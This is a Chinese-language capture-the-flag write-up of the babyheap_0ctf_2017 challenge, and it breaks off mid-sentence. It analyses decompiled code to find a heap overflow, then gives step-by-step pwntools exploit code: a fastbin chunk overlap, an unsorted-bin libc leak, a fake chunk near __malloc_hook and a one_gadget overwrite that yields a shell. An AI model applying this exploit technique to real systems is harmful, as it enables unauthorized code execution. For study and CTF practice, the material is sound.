【FastBinAttack实战】babyheap_0ctf_2017

分析利用:

        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)

__int64 __fastcall main(__int64 a1, char **a2, char **a3) {   char *v4; // [rsp+8h] [rbp-8h]    v4 = initMmapList();   while ( 1 )   {     Menu();     switch ( getInput() )     {       case 1LL:         Allocate(v4);         break;       case 2LL:         Fill(v4);         break;       case 3LL:         Free(v4);         break;       case 4LL:         Dump((__int64)v4);         break;       case 5LL:         return 0LL;       default:         continue;     }   } }

        v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:

00000000    size_t InUse 00000008    size_t Size 00000010    size_t content

         每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content

        然后可以看看Free函数:

__int64 __fastcall Free(__int64 a1) {   __int64 result; // rax   int v2; // [rsp+1Ch] [rbp-4h]    printf("Index: ");   result = getInput();   v2 = result;   if ( (int)result >= 0 && (int)result <= 15 )   {     result = *(unsigned int *)(24LL * (int)result + a1);     if ( (_DWORD)result == 1 )     {       *(_DWORD *)(24LL * v2 + a1) = 0;       *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;       free(*(void **)(24LL * v2 + a1 + 16));       result = 24LL * v2 + a1;       *(_QWORD *)(result + 16) = 0LL;     }   }   return result; }

        由于free之后将指针全都清零了,所以指针复用在这里不太行

        然后是Fill函数:

__int64 __fastcall Fill(__int64 a1) {   __int64 result; // rax   int v2; // [rsp+18h] [rbp-8h]   int v3; // [rsp+1Ch] [rbp-4h]    printf("Index: ");   result = getInput();   v2 = result;   if ( (int)result >= 0 && (int)result <= 15 )   {     result = *(unsigned int *)(24LL * (int)result + a1);     if ( (_DWORD)result == 1 )     {       printf("Size: ");       result = getInput();       v3 = result;       if ( (int)result > 0 )       {         printf("Content: ");         result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);       }     }   }   return result; }

         可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出

        最后是Dump:

int __fastcall Dump(__int64 a1) {   int result; // eax   int v2; // [rsp+1Ch] [rbp-4h]    printf("Index: ");   result = getInput();   v2 = result;   if ( result >= 0 && result <= 15 )   {     result = *(_DWORD *)(24LL * result + a1);     if ( result == 1 )     {       puts("Content: ");       sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));       result = puts(byte_14F1);     }   }   return result; }

         没有什么可用点,但我们可以用来泄露地址

        我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget

        为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖

        Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址

        

如下过程参考CTF-WIKI:

        首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk

        适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4

        然后用Free函数构成Fast Bin链表 idx1--->idx2

allocate(0x10) #idx 0 allocate(0x10) #idx 1 allocate(0x10) #idx 2 allocate(0x10) #idx 3 allocate(0x80) #idx 4 free(2) free(1)

        因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1--->idx 4

        由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80) fill(0,payload) payload='a'*0x10+p64(0)+p64(0x21) fill(3,payload)

        Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去

allocate(0x10) #idx 1 allocate(0x10) #idx 2 payload='a'*0x10+p64(0)+p64(0x91) fill(3,payload)

        此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)

allocate(0x100) #idx 5 free(4) dump(2) p.recvuntil('Content: n')  unsortedbin_addr=u64(p.recv(8)) print hex(unsortedbin_addr)  main_arena_offset=0x3c4b20  def offset_bin_main_arena(idx): 	word_bytes = context.word_size / 8 	offset = 4  # lock 	offset += 4  # flags 	offset += word_bytes * 10  # offset fastbin 	offset += word_bytes * 2  # top,last_remainder 	offset += idx * 2 * word_bytes  # idx 	offset -= word_bytes * 2  #  	return offset  unsortedbin_offset_main_arena = offset_bin_main_arena(0) main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena libc_base = main_arena_addr - main_arena_offset print hex(libc_base)

        main_arena_offset是写在每个libc中的固定值

        有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset

        unsortedbin_offset_main_arena这些值也都有固定的计算方式

        因此现在已经泄露出了libc基址

        然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin

allocate(0x60) free(4)

        接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:

gdb-peda$ x /10gx &__malloc_hook-6 0x7f03f6128ae0 <_IO_wide_data_0+288>:	0x0000000000000000	0x0000000000000000 0x7f03f6128af0 <_IO_wide_data_0+304>:	0x00007f03f6127260	0x0000000000000000 0x7f03f6128b00 <__memalign_hook>:	0x00007f03f5de9ea0	0x00007f03f5de9a70 0x7f03f6128b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000 0x7f03f6128b20 <main_arena>:	0x0000000000000000	0x0000000000000000 

        (不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址......)

        我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针

fake_chunk=main_arena_addr-0x33 print hex(fake_chunk) fakechunk=p64(fake_chunk) fill(2,fakechunk)

        然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell

allocate(0x60) #idx 4 allocate(0x60) #idx 6  one_garget=0x4526a+libc_base payload='a'*(0x13)+p64(one_garget) fill(6,payload)  allocate(0x100)

 

        但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 lib